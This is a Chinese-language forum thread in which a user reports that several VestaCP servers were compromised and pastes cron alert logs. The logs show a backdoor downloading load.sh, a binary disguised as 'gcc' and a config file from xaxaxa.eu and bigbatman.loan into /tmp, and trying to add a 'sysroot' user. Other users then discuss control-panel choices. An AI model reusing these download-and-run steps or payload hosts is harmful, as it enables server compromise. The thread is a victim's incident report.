vestacp又被攻陷了

catding

几台vestacp的机器，又被攻陷了。。
早上起来全是报警邮件

--2018-06-26 09:01:01--  http://xaxaxa.eu/load.sh
Resolving xaxaxa.eu... 198.251.90.113
Connecting to xaxaxa.eu|198.251.90.113|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 605 [application/x-sh]
Saving to: “/tmp/load.sh”

     0K                                                       100%  159M=0s

2018-06-26 09:01:01 (159 MB/s) - “/tmp/load.sh” saved [605/605]

chmod: invalid mode: `x'
Try `chmod --help' for more information.
pkill: 11555 - Operation not permitted
--2018-06-26 09:01:01--  http://xaxaxa.eu/gcc
Resolving xaxaxa.eu... 198.251.90.113
Connecting to xaxaxa.eu|198.251.90.113|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1256576 (1.2M) [text/plain]
Saving to: “/tmp/gcc”

     0K .......... .......... .......... .......... ..........  4%  211K 6s
    50K .......... .......... .......... .......... ..........  8% 2.85M 3s
   100K .......... .......... .......... .......... .......... 12%  381M 2s
   150K .......... .......... .......... .......... .......... 16% 6.15M 1s
   200K .......... .......... .......... .......... .......... 20% 3.82M 1s
   250K .......... .......... .......... .......... .......... 24% 1.28M 1s
   300K .......... .......... .......... .......... .......... 28% 2.67M 1s
   350K .......... .......... .......... .......... .......... 32% 2.53M 1s
   400K .......... .......... .......... .......... .......... 36% 1.32M 1s
   450K .......... .......... .......... .......... .......... 40% 51.3M 1s
   500K .......... .......... .......... .......... .......... 44%  255K 1s
   550K .......... .......... .......... .......... .......... 48%  140M 1s
   600K .......... .......... .......... .......... .......... 52%  119M 1s
   650K .......... .......... .......... .......... .......... 57% 2.51M 0s
   700K .......... .......... .......... .......... .......... 61% 7.92M 0s
   750K .......... .......... .......... .......... .......... 65% 43.7M 0s
   800K .......... .......... .......... .......... .......... 69% 2.38M 0s
   850K .......... .......... .......... .......... .......... 73% 86.0M 0s
   900K .......... .......... .......... .......... .......... 77% 1.34M 0s
   950K .......... .......... .......... .......... .......... 81% 74.2M 0s
  1000K .......... .......... .......... .......... .......... 85% 39.0M 0s
  1050K .......... .......... .......... .......... .......... 89% 1.18M 0s
  1100K .......... .......... .......... .......... .......... 93% 95.0M 0s
  1150K .......... .......... .......... .......... .......... 97% 1.29M 0s
  1200K .......... .......... .......                         100% 53.2M=0.8s

2018-06-26 09:01:02 (1.59 MB/s) - “/tmp/gcc” saved [1256576/1256576]

chmod: cannot access `gcc': No such file or directory
--2018-06-26 09:01:02--  http://xaxaxa.eu/config_1.json
Resolving xaxaxa.eu... 198.251.90.113
Connecting to xaxaxa.eu|198.251.90.113|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 681 [application/json]
Saving to: “/tmp/config_1.json”

     0K                                                       100%  151M=0s

2018-06-26 09:01:02 (151 MB/s) - “/tmp/config_1.json” saved [681/681]

/tmp/load.sh: line 10: /tmp/gcc: Permission denied
[sudo] password for admin: useradd: user 'sysroot' already exists
[sudo] password for admin: [sudo] password for admin: /usr/local/vesta/bin/v-update-sys-vesta-all: line 17: /usr/local/vesta/conf/vesta.conf: Permission denied
/tmp/load.sh: line 17: a-all: command not found
/tmp/load.sh: line 18: syntax error near unexpected token `fi'
/tmp/load.sh: line 18: `fi'

百仕创云

吓得我赶紧打开3个宝塔压压惊

catding

主要是想弄个邮箱而已。。。。不跑网站的

catding

还有个--2018-06-26 10:42:01--  http://bigbatman.loan/load.sh
Resolving bigbatman.loan... 104.18.35.148, 104.18.34.148, 2400:cb00:2048:1::6812:2294, ...
Connecting to bigbatman.loan|104.18.35.148|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 673 [application/x-sh]
Saving to: “/tmp/load.sh”

     0K                                                       100%  168M=0s

2018-06-26 10:42:01 (168 MB/s) - “/tmp/load.sh” saved [673/673]

/bin/sh: /tmp/load.sh: Text file busy

左手写爱

楼主用的什么监控？？

catding

没有监控，是后门的cron报警，发到我邮箱了

qxwo

这么说起来还是lnmp靠谱吗？

caibrid

用什么面板呢，服务器上能少装东西就少装。

catding

Vestacp的邮件功能很不错